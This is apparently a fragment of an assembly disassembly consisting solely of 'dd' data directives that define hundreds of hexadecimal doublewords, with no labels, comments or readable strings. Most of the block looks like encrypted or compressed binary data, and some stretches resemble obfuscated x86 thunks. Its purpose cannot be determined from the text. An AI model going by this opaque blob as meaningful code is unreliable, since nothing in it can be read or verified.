dd 0FF10AD7Dh, 0CA2E35DFh, 2F998C20h, 9CC3446Bh, 6A8F7F1Dh
dd 906F9925h, 0E91426AAh, 1B6C7690h, 0F0AE9170h, 0E2E2729Ch
dd 37307D4Bh, 81A8606Dh, 0A8262A46h, 5Dh, 0F5C0D5C0h, 3D23CD01h
dd 0E4760D6Fh, 9EE1D740h, 0B2C835BDh, 2DDB3F83h, 0F406D42Eh
dd 8FEA0547h, 3DEB5D7Ch, 0F352C4D0h, 0EF07F17Dh, 4FD91A7Eh
dd 0B448F810h, 0B5394FD0h, 3A60CBD1h, 0DE086C56h, 60CB7416h
dd 91ACF93Ah, 6453A542h, 0B4384A90h, 3A60CBD0h, 5EC56357h
dd 0CF6h, 760D6FE6h, 0A4C85AE4h, 0C3941D20h, 21B553A7h
dd 0BD846C68h, 5E4F9DE5h, 0BD2DA157h, 0DC87BD67h, 719C4EF8h
dd 0DDCA2924h, 201968C8h, 96EF1ECCh, 45E327ABh, 0B4CFADCDh
dd 9AE914A6h, 0E7FD89A7h, 15446B84h, 0DCA099E8h, 350811F8h
dd 64E30D41h, 0D421CC1Eh, 788D7AF9h, 0AE6B0696h, 0C43893D1h
dd 0DF643870h, 0CC84990Dh, 0F4594E40h, 0EF2397AEh, 94027C8Bh
dd 0D131927Dh, 0C797Eh, 24136700h, 8AC7CE3Fh, 5C6DBC69h
dd 21106687h, 0F0CFD532h, 6E8DD463h, 0DFC82B2Ah, 8F78FBC6h
dd 78954E79h, 38C1122Fh, 0C8C8BC30h, 0F05FC584h, 1D27A708h
dd 8517C394h, 0FAF86CFEh, 75BD846Dh, 0E52EDF0Dh, 899A0BE8h
dd 0CCD0C8BCh, 0A41BA5B7h, 0A7174CB5h, 0AC38D681h, 4470EEF9h
dd 0A5FB744Eh, 4A8C6D83h, 0C1007F8h, 0AAFC0000h, 50A74093h
dd 615F261h, 0A7FF28CBh, 56AA5B98h, 264DF46Fh, 5182BDC7h
dd 81526FB4h, 3E251064h, 6A89C4D1h, 0A7234BA1h, 28C584CBh
dd 0D5DEE359h, 50A514F8h, 2448F765h, 481A9038h, 538F2C92h
dd 71C0EAA4h, 0F94D7088h, 7FE76B85h, 0B950A825h, 90324099h
dd 678h, 760D6F7Ch, 6D7F40E4h, 8AF0BD84h, 5560B560h, 8493028Eh
dd 638DC1B5h, 0D8AC99EAh, 7B2D7808h, 2F34483Ah, 8BCAD03Dh
dd 4E1B935Dh
dd 0F244702Eh, 50285C4Dh, 82AC8B3Dh, 0F8B2BD85h, 0B8C6D82h
dd 0B70583Fh, 0A1C0000h, 0B0C72033h, 66B55281h, 71F886Bh
dd 0B6CA3B38h, 86ED548Fh, 31221D67h, 61F2CFD4h, 9E457084h
dd 0CA292471h, 0C7832BC1h, 48C584CBh, 50BD03F9h, 4E82764Bh
dd 6D58ADA0h, 8DF96DFFh, 2C3941Dh, 303A0E38h, 1D7A0EA6h
dd 0F5CDC394h, 94A1F25Bh, 112C7920h, 98A9FCADh, 0C7C6DC34h
dd 0F4F18B4Bh, 400CED1Ch, 5C6C432h, 0CA540000h, 941526A2h
dd 0B751A9C3h, 1D27A741h, 8517C394h, 37F86CFEh, 88BD846Ch
dd 83E7D227h, 0D8DECF59h, 173115F9h, 0F60BED36h, 3FC6C653h
dd 6051A415h, 0ED36D70Ch, 700C6CD0h, 819401EBh, 4F88CCB0h
dd 5D1C7CA8h, 0F07A9483h, 70B4297Ch, 8B44BE44h, 8C6DC9D1h
dd 0A743040Eh, 5500000Ah, 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh
dd 3EC774Eh, 0A61DC6F9h, 79445CBFh, 0C9F40DFAh, 9CABFD2Ah
dd 605DA647h, 4AE20EF3h, 0C584CA3Eh, 0DE5AC2B1h, 0A514F8D5h
dd 28916550h, 0AF1EE2DFh, 0A79B6F5Ah, 0DF1C0D6h, 3A545153h
dd 8F05801Ah, 32400D5Eh, 5134Bh, 0D6F9500h, 0B68306ADh
dd 40A4DB3Dh, 19E6129Ah, 7149BD84h, 0DCE93AEBh, 0F188507h
dd 86C0532h, 5BBF2450h, 0EF57A0ADh, 0E7DBAF9Ah, 57373F83h
dd 673A7B9Ah, 48DC0E15h, 4470991Dh, 0F4C9CE3Fh, 0B10FD5Ah
dd 2A0E4236h, 6DE9A9DDh, 7F84A8Ch, 9FEh, 0B2A198EAh, 0EC774255h
dd 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh, 5DA24390h
dd 212F360h, 0AAFF28CBh, 0B5B7449Fh, 84C55531h, 0F56BDAC5h
dd 14F8D5DEh, 916550A5h, 0ED32E361h, 717C36D0h, 400D729Bh
dd 4765F32h, 0A7B90000h, 0C3941D22h, 71FB801Ch, 846C3CFDh
dd 0A349B1BDh, 799FE411h, 0BD5ACF52h, 71D83C8Fh, 61A52924h
dd 0F63D46C7h, 9C84C064h, 370B3A7Bh, 7B9C4B3Fh, 82E6DC3Ah
dd 0D226D751h, 0BFC845E3h, 78E35882h, 176554F9h, 4C9E729Ch
dd 0FDEAAC2h, 69513A7Bh, 709DFFBFh, 7B0F88FCh, 0C73B1F3Ah
dd 5709115h, 85FD4470h, 6E573E4Ah, 0BA1DF58Ch, 942h, 76EDE42Eh
dd 0A0B38E99h, 0DE053447h, 9EAE931h, 0BAB9849Ch, 0E339D41Bh
dd 91E607DCh, 4E56B7ACh, 0F603EC77h, 79F318DBh, 84C591F5h
dd 31A716C5h, 0B4A50BDh, 2A2770DDh, 97A2F7A6h, 0B2337523h
dd 0D60D384Dh, 40F1032Ah, 15F2E32h, 0DE360000h, 0A514F8D5h
dd 6F76550h, 4225C3F2h, 4B288814h, 49477177h, 6905ABEh
dd 2EE286D9h, 8CBAB74Bh, 9F9775F8h, 2B76A7BDh, 94384CE0h
dd 4B8F3A61h, 605AB957h, 4C5F4E9Ch, 9BB5897Dh, 6194BBCBh
dd 0D8E53A3Ah, 467D8574h, 404D47F2h, 7C892BCEh, 35966584h
dd 254C2Ch, 6FA80000h, 39E4760Dh, 0B436D0EFh, 9F058130h
dd 2094EEBDh, 60CB4000h, 0FE0F953Ah, 35C6E30Ah, 0BBCE2Ch
dd 0DE160000h, 8372F8D5h, 91F55970h, 0D62A9377h, 6AD11BEFh
dd 0D5590248h, 0C39412B1h, 8633CC36h, 0FA53FDC0h, 593347A9h
dd 0FBFC7499h, 5CA85587h, 8FB99D61h, 61C1D2BBh, 70543817h
dd 0FD417C89h, 28BEA599h, 0C3946851h, 79FAD720h, 16C45F3Dh
dd 0DFA39EE7h, 0CB0212FBh, 0BE50347h, 99CC64E3h, 4F9DE5BDh
dd 0AAEE5A5Eh, 0E5DC22ABh, 6FB55281h, 0D1DB9750h, 2A18865Fh
dd 7F955h, 0A493E700h, 0A474EBFh, 0DCED3CE9h, 0A190E607h
dd 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h, 0F815CEF9h
dd 0B84192AFh, 0C7483CB0h, 70DFC584h, 0FBDADE88h, 4F7A8F78h
dd 1425709Dh, 21C26CA0h, 0F8D5DED3h, 6550A514h, 0C0FD06F7h
dd 75EE187Ch, 81C569FBh, 6C3941Dh, 9C605FA9h, 0B5AA44B8h
dd 258h, 760D6FDFh, 0B4140E4h, 0F4CEBD9Fh, 0B1853A00h
dd 0AB9E13CFh, 2B5B2BC5h, 0FE3A6087h, 8C76CD72h, 0DE87BF46h
dd 9D777630h, 2C356E6Ch, 20145h, 20A7A300h, 1EC3941Dh
dd 0FF77E57Eh, 0BD846C38h, 2BC977E4h, 608DF13h, 4DE16BE8h
dd 3A7B5539h, 8A50B48Eh, 4D788D78h, 6C59AAA3h, 0EB0D16F7h
dd 0E4336B81h, 53271B17h, 0CEC07F89h, 0AA77C6F0h, 673A4E86h
dd 7B833A7Bh, 6987FB44h, 0A2CA4755h, 3A7B6726h, 630F8AA9h
dd 0BCE935BDh, 7EF66458h, 44702C8Fh, 0B72D3A00h, 448C6E2Eh
dd 6F409CEh, 96E00000h, 3C4BA4BFh, 0EA39D60Dh, 9BE30CD7h
dd 4A4EBFA4h, 269E80Bh, 0B5AE91EBh, 0E57E4358h, 12C1FC08h
dd 4E95A0F5h, 4307AFBDh, 0C4C584C6h, 0D5DE8F75h, 50A514F8h
dd 0FB03ABF0h, 381CE0C4h, 608416C4h, 0C3941D64h, 917997EBh
dd 3BE0ED27h, 0F400D3EEh, 3240F155h, 5865BA6Bh, 1302BAEh
dd 1A410000h, 8DB7422Dh, 0FC628C3Dh, 92FE1EBDh, 0B3DA44D6h
dd 526FB895h, 0DFEA3FEEh, 39425A04h, 9336BB33h, 0E807BD9Fh
dd 561C63B0h, 0D5B99DE8h, 61546D1Dh, 0EDF8B83Ah, 3555F617h
dd 34D32Ch, 5C490000h, 0B4887C4Dh, 0D6FA49Ah, 0D140E476h
dd 5EBD9F05h, 0CB6E1A92h, 99E13A60h, 7111D1A5h, 0A43A60CBh
dd 0F21BF1FCh, 0C82C35C6h, 4EF8C7DDh, 948Bh, 0D5DE5500h
dd 5FA514F8h, 0D82D9C60h, 67B019EDh, 7C65896Ah, 0FFC393EBh
dd 1A449FAAh, 0FB73F982h, 4266220Ch, 81604BF0h, 799B4B2Ch
dd 33C1DBDh, 0F202BC50h, 0CA49E7DBh, 64B31D65h, 0CF1D7155h
dd 78FBDADEh, 0BD4A758Fh, 86611931h, 0CF0FC042h, 0BD000005h
dd 64815269h, 0D2332011h, 0BC698AC7h, 6B845F66h, 8E352E11h
dd 417C8467h, 112C7592h, 0E4D325C2h, 48858E7Fh, 628A66ABh
dd 0C584C166h, 0DEA21AE9h, 0EC78FBDAh, 5A5AF4Fh, 6F998A82h
dd 0BBB8959Eh, 6DD5DE5Dh, 3357DF14h, 0B4C3941Dh, 0A2E66A4Eh
dd 613FA4Eh, 977B5A5Eh, 8845FB3h, 275F85D3h, 14328EA3h
dd 272Fh, 1EBD4900h, 565E7F86h, 927B9585h, 0FBD62181h
dd 344A3317h, 0F4A5290Dh, 0E22296A3h, 0C3D43DC8h, 46966DF6h
dd 3E000000h, 0F923D5DEh, 4980DB57h, 3C16D52Ch, 533F0C03h
dd 2A5B8B7Fh, 0ADC394EFh, 339A6E55h, 0F3971FE0h, 74C394EFh
dd 6CA62A0Eh, 0C5C7BB4Ah, 7C8E1293h, 94EF9CE8h, 12F13C3h
dd 0B438FB0Ch, 0C394EFD0h, 0D40F6357h, 4150BD2Ch, 89B8408h
dd 0D3FFD4A3h, 69E40266h, 0A93B211Ch, 94234105h, 52FCC6C3h
dd 45DEBEFEh, 52A61F97h, 43B7BD84h, 2E1B6C99h, 29CFD835h
dd 6B1798ADh, 0C2B6AAF4h, 0A349D2AAh, 4CE99D11h, 47E3A7Bh
dd 0F6EC00EAh, 24446B3Ch, 0F309A3F9h, 200478CCh, 71CE785Ch
dd 0E132E309h, 959E0FD4h, 0C8D4D4B8h, 2805A9B3h, 3D4E419Bh
dd 0E7860AC5h, 45CD927Eh, 48182h, 2C1B6F00h, 0F2CFD637h
dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h
dd 9770E3DEh, 40ADB681h, 30D91A37h, 0C0D0B438h, 0E857C584h
dd 6DD5DE70h, 64582C1Bh, 0E132D300h, 6CB960D4h, 4F4A458Ah
dd 766AAAFBh, 0D3D2D482h, 77ECD92Ah, 78C246F5h, 724642CAh
dd 0B5A18303h, 36D034A4h, 415A25C4h, 430C32h, 6FE80000h
dd 40E4760Dh, 0BD9EE1D7h, 0C213B958h, 7FCD6581h, 96A16662h
dd 0C6037F9h, 0EED92FDEh, 0FE3E175h, 11623A60h, 0E66A69B1h
dd 0F1C8DBA2h, 0ED5C90Dh, 0D4B897E1h, 3DD73h, 0EB3CE900h
dd 0F8166ADEh, 0F8D5DE02h, 0C4D7C614h, 0A1F25BF5h, 285CD062h
dd 0BFC3941Dh, 1DFF8B5Bh, 0D170C394h, 0CE203484h, 0C5391D88h
dd 273C401Eh, 0FD2CB135h, 3901BD9Fh, 0C3ED9D55h, 1B6C3A61h
dd 32F8B2F5h, 83E70C80h, 0F464E3Fh, 54514BBBh, 109D073Ah
dd 0E7355388h, 8B348C77h, 94AE35Dh, 3E672C36h, 0F5000000h
dd 22CCFD08h, 760D6F3Ch, 5D140E4h, 645EBD9Fh, 0C6F107F6h
dd 40002028h, 0C13A60CBh, 8FFB73B8h, 3A60CBh, 8B72C63Ah
dd 0BBFE427Dh, 0FF126C79h, 39D028A5h, 102C35C7h, 0E6h
dd 0F8D5DEFCh, 605FA514h, 36D82D9Ch, 56580654h, 0BBA185FDh
dd 94673004h, 21CF3BD0h, 1A374029h, 0FBD625D0h, 7D04AA4Dh
dd 9FC394CEh, 0CCED990Dh, 1862C394h, 3F0A1FEEh, 83BECB24h
dd 869DFF3Fh, 0FB29D054h, 6786BD9Fh, 570D1A87h, 0A4B693h
dd 3A61A344h, 4093F7CBh, 6FFD8616h, 6C3506C7h, 0A9B38744h
dd 0EC1A277Ch, 0B6899302h, 0AEF223ADh, 41EF2397h, 7E89B4CCh
dd 8C6A575Ch, 0B7DCB397h, 0A5000002h, 0CF97A51h, 0FA2BC8F9h
dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah
dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584C20Eh, 0DE4A3281h
dd 94E00DDAh, 1DDDA9B9h, 6852C394h, 0F53EEF74h, 1DC2862Eh
dd 7D45C394h, 3C4EDA19h, 941DDCA8h, 0D2B63EC3h, 55C3941Dh
dd 0EA3D926Dh, 33176BDFh, 1EBD2F15h, 0E434F1A0h, 0CF2DC8FFh
dd 21AEB34Ch, 19633BD5h, 0E554D802h, 4ABD9F0Eh, 24A48C70h
dd 0F13A60FCh, 896FBA6Bh, 1D77D04Dh, 0CE785CE8h, 0A23D9D4h
dd 272C3517h, 0C6h, 0C3D48B5h, 0D5DE7CE2h, 0CB2F1A6Dh
dd 0ACDFBA21h, 52F733CDh, 97ED5CB4h, 0E5D9E43Dh, 6D88D111h
dd 0DE2BC394h, 829770E3h, 0C279C3B7h, 4CE0EACFh, 0C3944638h
dd 458C4B8Fh, 3A82ACF6h, 8113D962h, 278BFF77h, 261CC394h
dd 10957C08h, 106ABD9Fh, 0F2CDDBCAh, 0B9C39354h, 3634B8A2h
dd 39446CAAh, 78736C1Ah, 5ABEA13Fh, 201F6590h, 0F7CED233h
dd 6AFA9478h, 0F85FAB8Ch, 19Eh, 0D201384Ah, 0CD7E235h
dd 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h
dd 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 84FD3551h, 55CBBAC5h
dd 9B9E1EBDh, 0B7F7931Bh, 278C394h, 0A80171F5h, 4A758F7Eh
dd 1E2B7CA9h, 0D5DE3FC5h, 50A514F8h, 0B5A9A4F0h, 193441AEh
dd 0C72775B5h, 1B93D016h, 0C394406Fh, 27D9AE0h, 0C7150996h
dd 9FF312AFh, 0AB1F63BDh, 71FB0A8Eh, 0AA447584h, 0F87B56A3h
dd 789EDEBEh, 63D62C95h, 9B13D93Dh, 446AA3BEh, 16C74B8Fh
dd 615CA50Dh, 5349B90Dh, 0FB801C52h, 7AD8FD71h, 8EAD4E75h
dd 7ACB17F9h, 0A6BD91F4h, 0D77BB52Ah, 2610DF21h, 0C5F00508h
dd 65618517h, 0EA2E4B25h, 2B927690h, 0E31EE2DDh, 0AAFF24A1h
dd 0EACEFB0Ah, 0B18C9500h, 845F89CDh, 0B3B9C2DAh, 4017863Bh
dd 0F20BFA50h, 0D5077BCFh, 40053551h, 0A640BA24h, 3CED51A9h
dd 0E10CDEEBh, 848CBA99h, 0D48A1B99h, 7CA9B3C8h, 54A81C2Dh
dd 51A6E86h, 95ED2440h, 0C07DF17Bh, 385A4B37h, 1D2C7FAEh
dd 5CE5B1D5h, 33CC3622h, 0DF058AA7h, 33103E22h, 239814CFh
dd 0FA1755B5h, 0CFCF79E3h, 204496ADh, 5C4C2D71h, 0C45684FEh
dd 236C24A0h, 0B2C2AB18h, 8189A79Bh, 61F2CFD8h, 0F2467384h
dd 3C681072h, 97160CAAh, 6ABD256Eh, 0B397EB5Fh, 73247A0h
dd 56B4CAB3h, 2880D91Ch, 0F75BBF0Ch, 0F074864Ah, 4A0CE494h
dd 0AF09271Bh, 91ACF91Eh, 78455A4Bh, 0AFF815CEh, 3692E92h
dd 0F3000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 68CF7BCFh, 70E4h, 51241C89h, 0C181E189h, 4, 8704E983h
dd 895C240Ch, 0C468241Ch, 8900003Ah, 68522404h, 25EF4464h
dd 81DAF75Ah, 0F16A2BC2h, 0F2814A61h, 3A12F4B6h, 148BD389h
dd 4C48324h, 24048B54h, 6804C483h, 0E65h, 8F241C89h, 48B0840h
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 241C8B5Ch
dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA9C62E9h, 128332FFh
dd 0D7E63EACh, 57B8A227h, 30610E2h, 0F0E0FFC5h, 0C44FC760h
dd 7E0343CDh, 0A655827Bh, 88548A55h, 4C3BFBE3h, 0B174EC9Dh
dd 0CA44362Ch, 2B647766h, 9405BA7Ch, 0DE7D354Eh, 580406ABh
dd 6262A64Bh, 0A46F5423h, 8D701DBBh, 10E3D08Dh, 0E9852906h
dd 8B060B15h, 0B084DBDh, 4D8D8906h, 6A060B17h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0F641C357h, 0C9170E1Ah, 757AE781h, 85C773A1h, 60B0119h
dd 59C4h, 985C7F5h, 60B10h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A1CC356h
dd 1A49B5FFh, 0BA52060Bh, 1B113EDCh, 0C595FF58h, 6A060B0Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 669AC353h, 9D89C38Bh, 60B075Dh, 0FF006AF9h
dd 0B32DD95h, 0EBC08B06h, 414EB70Dh, 1C35C661h, 0E3FF9922h
dd 8EB3233h, 3EA44F4Ch, 2400000h, 0C32E9h, 0E5B26800h
dd 3AE90610h, 68FFFB5Fh, 610E69Ch, 0FB5F30E9h, 0E81568FFh
dd 26E90610h, 68FFFB5Fh, 610E8BEh, 0FB5F1CE9h, 0E95668FFh
dd 12E90610h, 68FFFB5Fh, 610EB78h, 0FB5F08E9h, 0EC3268FFh
dd 0FEE90610h, 68FFFB5Eh, 610EDACh, 0FB5EF4E9h, 0EEB168FFh
dd 0EAE90610h, 0FFFFFB5Eh, 0B8BB0482h, 73F6413Dh, 323582FCh
dd 0F46FD8B6h, 0A0AD1A74h, 6B639B8Fh, 0A620599Ch, 0E2DC1ED9h
dd 229CD215h, 77E09C55h, 7BAE40AAh, 0B49DC0C9h, 7E5836h
dd 9D5D4AD7h, 66916975h, 0F873F4AAh, 838C6C9Eh, 0D20C8AE0h
dd 4FF8D611h, 0AC14CAE0h, 9D5CF6BBh, 0C9C52475h, 3513CF33h
dd 0E0DE1CD7h, 9E69964Ah, 4F8A588Ah, 4C41E97Fh, 783E41AEh
dd 48A1A29Ch, 0A40FC14Eh, 6F91E513h, 0D054A7BDh, 53F9D517h
dd 0E64D60EFh, 0B9BC0E62h, 41h, 9F637B5Eh, 7436B6A1h, 0A03B4F8Ah
dd 0EB7C2246h, 4A741341h, 0B91555EEh, 33842FDDh, 216F91F7h
dd 7B53AAC9h, 94EA6D9Fh, 8EBC1A5Dh, 6254F652h, 0BC0305F4h
dd 97FC55A4h, 8BC0E54h, 0E9h, 5836B42Dh, 229EE87Eh, 0D1A1B00Bh
dd 99D16A26h, 36B40F3Dh, 538409DAh, 0BAA7759Eh, 76878983h
dd 403C1C3Eh, 89DB11AAh, 522C1B3Fh, 8DB355Ch, 759DF683h
dd 3CCA890h, 9DF374F0h, 52AAAD75h, 0DD6AD674h, 1DEAE41Ah
dd 2AA4DAh, 0AA846E70h, 8B07E5B9h, 52E0C4Fh, 6F92C778h
dd 0E894A39Fh, 5B83A710h, 0F3AEB997h, 0E84984F4h, 0D6303610h
dd 6430C375h, 58B61621h, 0CB615D9Fh, 0ED0DE817h, 0ABC32691h
dd 0B25836B4h, 250924Eh, 9E45A02h, 9CBA263h, 0E9060000h
dd 0A4C722EDh, 639A5D2Ah, 1D599C6Bh, 0DB13D6A1h, 0F63B14E3h
dd 3CCCA22h, 400F87E0h, 0FC4B43A5h, 3C8B0379h, 119E4937h
dd 267BAE42h, 9651746Bh, 16D17E58h, 24E97AD6h, 33759D5Dh
dd 5D159A4Dh, 0DE22759Dh, 3E398662h, 1B79C6C0h, 1926A0D8h
dd 9F637BA2h, 7436B6A1h, 0C73B4F8Ah, 34398225h, 65536F92h
dd 334FDC07h, 94646F92h, 0D326956Bh, 0BC0E1768h, 0B03Bh
dd 36B4DC00h, 81E57E58h, 0C3BE705h, 2B3C1A40h, 759D5C66h
dd 3492EA8Dh, 0B434AF58h, 3BBF30DAh, 77759D59h, 37329DF9h
dd 5B2FDDB9h, 9641BF83h, 4F8A6DFAh, 222503FFh, 4093CDC9h
dd 6F922DBBh, 68D760D8h, 78569C42h, 845E27EFh, 0E8C63A49h
dd 0C8B70F6Fh, 0E073CD2Dh, 69847E1Bh, 7DEFE701h, 27837F9Dh
dd 5AB1592Dh, 79D476E4h, 8E1h, 0CFBD328h, 47308EE9h, 86714DACh
dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h
dd 0ED03E651h, 53CD2691h, 0AE42FB80h, 6E91187Bh, 0ED5A34B4h
dd 2D9AF40Ah, 0F4D2142Fh, 7582FC7Fh, 3F36B40Eh, 0F72BC1BDh
dd 106EF11Bh, 0F97A58B6h, 37EB017Dh, 9D5D5F2Ch, 7B847475h
dd 0FA40A68Ch, 45A8BE9Ch, 99F521Dh, 6B7E03D4h, 0A595759Dh
dd 0A7AB3EC9h, 6E4F8A79h, 3E3591D5h, 0F62AC0BEh, 0A9C19749h
dd 1E87B6DEh, 3AF48B94h, 5CB62934h, 7BF14AE0h, 3BB1B403h
dd 9606A943h, 0ADC6BBF7h, 0E6C4408Bh, 4BB6B07Dh, 43C81BE8h
dd 50E84BB7h, 61EE52E8h, 0A16E6886h, 3871ADA3h, 0DC84257Eh
dd 0DAC71E2h, 77CBE84Ch, 0F7CF2DC8h, 0F4A9255h, 4AC2E84Ch
dd 0AACC077Fh, 2A40232Ch, 0EA00E3ACh, 93BCB2ECh, 836E985Bh
dd 812AE611h, 0E84BE835h, 0C958A301h, 6C6CDBB3h, 0A3591EBh
dd 97B5116Fh, 3917DB03h, 38F1062Eh, 0C9271BC2h, 7993EB0Eh
dd 0A3877681h, 0BB99F73Bh, 23413CB5h, 1621C170h, 2D58D343h
dd 0D872CEBCh, 890561E2h, 0C590BF63h, 0DC355A75h, 9D8F0761h
dd 0A209EDAh, 36F0DB99h, 0E9408B41h, 4F6AED82h, 47925h
dd 0D7A43200h, 0D5759D5Ch, 759D6E84h, 9D49E142h, 4A86D775h
dd 4B93759Dh, 7E5E89E7h, 734F8A3Dh, 0F1FBB58Fh, 7A10DE4Ch
dd 7689Bh, 724CA100h, 8F076285h, 0C8C625C0h, 680E47Fh
dd 403EBEB9h, 4D5996F7h, 3E6512Dh, 0C023ECEAh, 845F28A6h
dd 4A9F6866h, 4474392Ah, 0E837BAEh, 5836B4D7h, 0F00BCCB2h
dd 7B847496h, 6D4BAF37h, 8CBA59FAh, 2D9A664Fh, 0D40A01AAh
dd 1B27306Eh, 0E2497991h, 46880661h, 0F62EBB1Dh, 0FEA2AD76h
dd 0C7232402h, 16C140CFh, 981FBC84h, 85E3479Fh, 0CF2DE52h
dd 0ADCC0794h, 0E17A26D1h, 3C1C0E88h, 8DEAA40h, 9713C422h
dd 928E0159h, 0D4FA70AEh, 0FB0D9A6h, 292AAA55h, 0E90CFBD3h
dd 79393B93h, 8E9FD5CEh, 6BF211Ch, 0F50A0000h, 0B0CB2E99h
dd 6F8E69D6h, 294DA817h, 0E707E2ADh, 22F20EFh, 0FF8D616h
dd 4C3B93D4h, 88774FA9h, 0C8B70F6Dh, 1DE27523h, 3A7BAE45h
dd 637B0077h, 0E60482F8h, 0F7605E3Ah, 4F8A6AEBh, 4718320Eh
dd 24BFAD29h, 9C27C5C1h, 0ABC8625Ch, 48BC6655h, 15C92396h
dd 5C60F32Dh, 79497F58h, 9A233681h, 58698739h, 698737D3h
dd 0C6AD016h, 76957ADBh, 5FB98143h, 798F6A89h, 0DE698974h
dd 0A7F3B932h, 992F6375h, 0B56375A8h, 0DF855F37h, 3CEA6986h
dd 6274F8Eh, 8DE20000h, 48A34631h, 766814Eh, 0C125C08Fh
dd 7FFF7AC5h, 9A57B807h, 0A7106E8Eh, 0E4532B4Ch, 20EFE701h
dd 602FA7C5h, 0B57AED8Bh, 0C27BAE45h, 637BA8CFh, 43A6A19Fh
dd 0CF88F021h, 0F551B218h, 7C5CEB57h, 8DB24AEBh, 84AF8D4Fh
dd 6F8D70F7h, 11C23C1Ch, 6F8D708Ch, 0F4A857ABh, 1F5DE604h
dd 0ED2D8A7h, 5A52914Ah, 8F6BE3BCh, 2AA4DA9Dh, 6A649A5Dh
dd 85017FC0h, 3D99DC67h, 0DA36B40Fh, 8D858409h, 0F3AF936Fh
dd 6B638659h, 0EF9960C0h, 3849B088h, 1D7BC4C2h, 1A25A1DAh
dd 12C52C97h, 8DEF68BCh, 0D2110631h, 26000001h, 0A19F637Bh
dd 0C14E48A6h, 663010C3h, 0CD4D4F8Ah, 4741945Fh, 8DCB6F92h
dd 0B755314Ah, 0D524BC4Bh, 0A19F637Bh, 2DF26543h, 4A6F9246h
dd 87FF7DF6h, 0FF8AB565h, 497F4FD7h, 3F3816EAh, 0F028C2BCh
dd 0DF1DD847h, 302DF265h, 0F64A6987h, 2FC24F98h, 69D16987h
dd 0A6C49F8Dh, 0F675CE28h, 0AA806F98h, 0B290CE34h, 13690EBCh
dd 0B946CA2Fh, 73A0DA2Eh, 0D973CF43h, 8E0860E3h, 0C093BC9Ch
dd 637BA177h, 12C52311h, 637B9F8Dh, 0D3A956AAh, 42BBBCE8h
dd 34F96A44h, 43637BA0h, 0F65D50FFh, 0A9C824A6h, 49h, 0F8637B4Eh
dd 5EE40680h, 0E46C446Fh, 6BC7A3E2h, 86192F0Dh, 0A3E5506h
dd 281DE275h, 0C63A759Eh, 0D20ADD6Ah, 0DF4F8B3Eh, 0D566C963h
dd 836F92FEh, 7BFC6E68h, 4638905h, 74CBBD0Ch, 4FB40DFCh
dd 0D0BC0D4Dh, 0CEh, 0E07351E5h, 759D5D1Bh, 5CAE73E4h
dd 75C5759Dh, 0E0DE1CC7h, 0D3A964Ah, 90BA146Ah, 0EDBDAFCFh
dd 0F872F209h, 99CB5083h, 10E8759Dh, 0A932D8B4h, 0ED17B53h
dd 2B2996F0h, 54F6D028h, 4C885BE4h, 60759D96h, 0EFC38C0Ah
dd 0D9A6B1F7h, 0FE759D94h, 2EA8C102h, 0BDC31472h, 44F8FC5h
dd 0E4703D26h, 0BB876F8Fh, 0E68D08Ch, 6ED9B535h, 0F848D86Eh
dd 6876F95h, 2A723F28h, 0B9816F90h, 3B93EB8Eh, 4F048D39h
dd 0CD08A2DEh, 405h, 68D7AFCCh, 0A36C6A8Dh, 0E2AD2940h
dd 1CEBE307h, 5A25A1D9h, 90E8BC75h, 4DAE4936h, 9638671h
dd 0C927C28Dh, 8FE902CDh, 0AE47D7A4h, 4AADFC7Bh, 0CAC49B51h
dd 838DFA97h, 1D79F174h, 5D39B7B2h, 36B48BF2h, 87E57E58h
dd 8B4C000Fh, 293F1975h, 21DC5BCFh, 0CC3BC45Ch, 0DE13A4D5h
dd 0C624759Ch, 9CDC901Dh, 7C5A9E75h, 2D562DEh, 759CDDB9h
dd 5AB47E60h, 0DD26EB7Ch, 0CD4D759Ch, 0E3644242h, 0B6370C8Ah
dd 41CE32D8h, 8C3A0DB6h, 0F775CE4Fh, 26CC709Fh, 2B8C10BFh
dd 4CFE5A26h, 3B93D56Eh, 941E2911h, 0A58EE852h, 4978CE89h
dd 20B68C8Ch, 37E45E80h, 34BB895h, 69860000h, 2447A26Dh
dd 0E31ADDAAh, 9DD91CEBh, 5B935621h, 76BB9463h, 834C4AA2h
dd 0C08F0760h, 7CCBC325h, 0BC0B83F9h, 911EC9B7h, 0A67BAE48h
dd 9651F4EBh, 15D07F57h, 8A4DFFD7h, 0AFAD1A74h, 5D19E671h
dd 0C23E759Dh, 81697D35h, 5868BCA7h, 0FD5D4F8Ah, 0DB7D4D83h
dd 76C76262h, 3B3894F2h, 0F424C6C0h, 9D2E814Bh, 4B6F916Bh
dd 2CB75531h, 895FCDC9h, 735CD58Fh, 263C127Dh, 966ED1D3h
dd 0A265CE23h, 46C6BC0Eh, 0DF000000h, 0A19F637Bh, 0BF4846A6h
dd 73D616C1h, 0E5DB4F8Ah, 9232AD72h, 40CD166Fh, 576F9233h
dd 418351EBh, 0A3025AFAh, 0C369C5A1h, 0E7B4BF9Dh, 0C6F91F2h
dd 0E770030Ch, 816F91F3h, 0C229804Bh, 65BC0E57h, 0E5h
dd 5836B472h, 92D129B2h, 10C8625Ch, 61995AB4h, 0AD36DA65h
dd 4C97F54Fh, 759D5CBFh, 32FF64D4h, 41759D5Dh, 95BCC693h
dd 63DF1EA6h, 9CD26587h, 46825522h, 7A759E3Dh, 3A3D8A04h
